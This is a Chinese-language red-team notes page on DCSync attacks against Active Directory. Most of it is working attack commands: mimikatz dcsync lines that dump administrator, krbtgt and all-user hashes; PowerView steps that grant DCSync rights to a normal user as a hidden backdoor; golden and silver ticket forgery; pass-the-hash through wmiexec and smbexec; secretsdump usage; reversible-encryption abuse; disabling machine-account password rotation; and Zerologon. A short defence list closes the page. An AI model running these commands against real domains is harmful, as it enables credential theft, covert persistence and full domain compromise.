Dcsync

在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。

新版本的 Mimikatz新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。

当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有DCSync权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。

默认只有域控主机账号和域管理员能Dcsync,域管和邮件服务器的机器账号有写ACL的权限,可以给指定用户添加Dcsync来dump域哈希。

对域对象只需要具备一下这两个权限,就有dcsync的权限

‘DS-Replication-Get-Changes’     = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
‘DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

利用条件

  1. 域控本地管理组用户(administrators,Domain Admins,Enterprise Admins的组内用户)

域控制器的计算机用户

拿下exchange服务器后可以WriteACL赋予指定用户或域机器DCSync权限

利用方式:

拥有上述条件的任意用户权限,即可导出域内任意用户的hash

mimikatz

导出administrator用户的Hash

域内

lsadump::dcsync /domain:hiro.com /user:administrator 

域外

lsadump::dcsync /domain:bjedu.cn /dc:bjedudc02 /user:krbtgt /authuser:bjedudc02$ /authdomain:bjedu /authpassword:"" /authntlm

域控导出所有域用户的哈希

privilege::debug

lsadump::dcsync /domain:hiro.com /all /csv

其他机器读取域内密码hash

lsadump::dcsync /domain:redteam.lab /dc:dc1.redteam.lab /user:administrator /authuser:dc1$ /authdomain:redteam.lab /authpassword:"" /authntlm

后门利用

使用Empire下的powerview.ps1脚本执行以上三条ACE

DCsync是几个权限的集合体,如果使其具有DCSync权限的话,可以向域内普通用户添加如下三条ACE(Access Control Entries):

DS-Replication-Get-Changes—>(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All—>(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes—>(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

在域管用户上给域用户win7添加以上三条ACE

powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Add-DomainObjectAcl -TargetIdentity ’DC=test,DC=local‘ -PrincipalIdentity exchange2016$ -Rights DCSync -Verbose}"

Add-DomainObjectAcl -TargetIdentity “DC=hiro,DC=com” -PrincipalIdentity win7 -Rights DCSync -Verbose

当用户win7具有DCSync权限后,可以导出域内哈希:

python3 secretsdump.py hiro.com/win7:123456QWE.@192.168.228.10 -dc-ip 192.168.228.10

给域用户win7删除以上三条ACE

Remove-DomainObjectAcl -TargetIdentity “DC=hiro,DC=com” -PrincipalIdentity win7 -Rights DCSync -Verbose

域用户win7失去了DCSync,同样也无法导出域内hash了

使用黄金票据+DCSync导出域内所有用户的Hash

生成黄金票据:

得到krbtgt用户hash

lsadump::dcsync /domain:hiro.com /user:krbtgt

导入黄金票据

kerberos::golden /user:administrator /domain:hiro.com /sid:S-1-5-21-1909134247-741334235-3019370817 /krbtgt:5f468f6d7ac43c327396d832a0241d81 /ptt

导出域hash

privilege::debug
kerberos::list 

导出所有用户的哈希
lsadump::dcsync /domain:hiro.com /all /csv

哈希传递

python3 .\wmiexec.py hiro/administrator@192.168.228.10 -hashes aad3b435b51404eeaad3b435b51404ee:e9bf196dc93a1219e3b2e79b1b7aa36e

Dcsync+可逆加密存储密码

Active Directory 帐户有一项遗留功能,称为“可逆加密”。通常,使用 NT单向函数对用户密码进行散列以创建 NTLM hash。NTLM hash无法逆转,必须破解。

如果启用了可逆加密,则用户的密码将使用加密存储,这意味着可以将加密的数据还原回用户的密码。使用可逆加密存储的密码不是散列,因为可以调用函数来恢复原始明文密码。

帐户启用可逆加密,帐户的明文密码不会立即可用;如果对帐户启用了可逆加密并且用户在设置此配置后更改了密码,则明文密码将保存在 Active Directory 数据库中。当用户再次调用Dcsync后会显示其明文。

勾选“可逆加密存储密码”这个属性后,用户再次更改密码会显示其明文密码;将administrator设置为可逆加密存储密码。

使用ldap条件勾选其使用可逆加密存储属性的帐户

get-adobject -ldapfilter “(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))”
 
Set-ADUser marry -AllowReversiblePasswordEncryption $true

更改administrator密码,dcsync就能显示其明文密码

python3 secretsdump.py redteam.lab/administrator:Qq123456..@192.168.129.130 -dc-ip 192.168.129.130 -just-dc-user administrator

使用MachineAccount实现DCSync

MachineAccount是每台计算机在安装系统后默认生成的计算机帐户

如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中

计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令

关闭域内计算机帐户密码自动更新的两种方法(适用于域内主机)

1.修改组策略

选择Default Domain Policy

Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\

2.修改组策略的配置文件

Default Domain Policy对应的guid为31B2F340-016D-11D2-945F-00C04FB984F9

配置文件路径为:

\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit

修改文件GptTmpl.inf,在[Registry Values]下添加新的内容:

MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1

配置完成,将系统时间调快30天,hash保持不变

获得MachineAccount hash的方法

1.通过本地SAM文件中读取密码哈希

mimikatz命令示例:
privilege::debug
token::elevate
lsadump::secrets

返回的结果中,$machine.ACC项对应计算机帐户,如下图

2.使用DCSync导出所有帐户的hash

(1)使用mimikatz

在域控制器上使用mimikatz导出域内所有用户的hash

mimikatz.exe “lsadump::dcsync /domain:test.com /all /csv” exit

(2)使用 secretsdump.py

python3 secretsdump.py test/Administrator:DomainAdmin123!@192.168.1.1

secretsdump.py的实现原理:

使用计算机帐户hash通过smbexec或者wmiexec远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的hash,同时通过Dcsync或从NTDS.dit文件中导出所有域用户的hash。

3.通过CVE-2020-1472

CVE-2020-1472能够在未授权的状态下远程修改DC计算机帐户的口令hash

像服务器一样,DC拥有一个带有密码的机器帐户,该帐户以加密方式存储在注册表中。引导时将其加载到lsass中。如果使用Zerologon更改密码,则仅AD中NTDS密码会更改,而不是注册表或lsass中的密码。利用后每当发出新的Kerberos票证时,DC无法使用lsass中的机器帐户密码来解密服务票证,并且无法使用Kerberos中断身份验证。

使用MachineAccount实现DCSync

例如,获得了域控制器DC1的计算机帐户口令hash为7da530fba3b15a2ea21ce7db8110d57b

1.使用mimikatz

这里需要制作白银票据(Silver Ticket),接着获得LDAP服务的访问权限

mimikatz “kerberos::golden /domain:test.com /sid:S-1-5-21-254706111-4049838133-2416586677 /target:DC1.test.com /service:LDAP /rc4:7da530fba3b15a2ea21ce7db8110d57b /user:krbtgt /ptt” “lsadump::dcsync /domain:test.com /all /csv” exit
/sid表示域的sid,
/rc4表示计算机帐户的NTLM hash
/user:krbtgt表示伪造成用户krbtgt,生成票据

2.使用secretsdump

python2 secretsdump.py -hashes :e411580b657837aee7aaadb6e2a4449b redteam/DC1$@192.168.129.130 -just-dc-user krbtgt

注意:

1.secretsdump支持从域外的计算机连接至域控制器
2.如果使用域内普通计算机帐户的口令hash连接对应的计算机,那么会失败,提示rpc_s_access_denied。

也可以通过 wmiexec.py 或smbexec.py远程执行cmd命令 (server2016已经不能用机器账户进行认证登陆)

python smbexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
python wmiexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv

防御

通过网络监控检测来自白名单以外的域控制器数据同步复制。
给域控设置白名单,只允许白名单内的域控IP发起数据同步请求。
利用AD自检工具查看哪些域用户有Dcsync的权限。

  • Created 2022-10-22 14:57
  • Published 2021-01-02 15:01
  • Updated 2022-10-22 15:49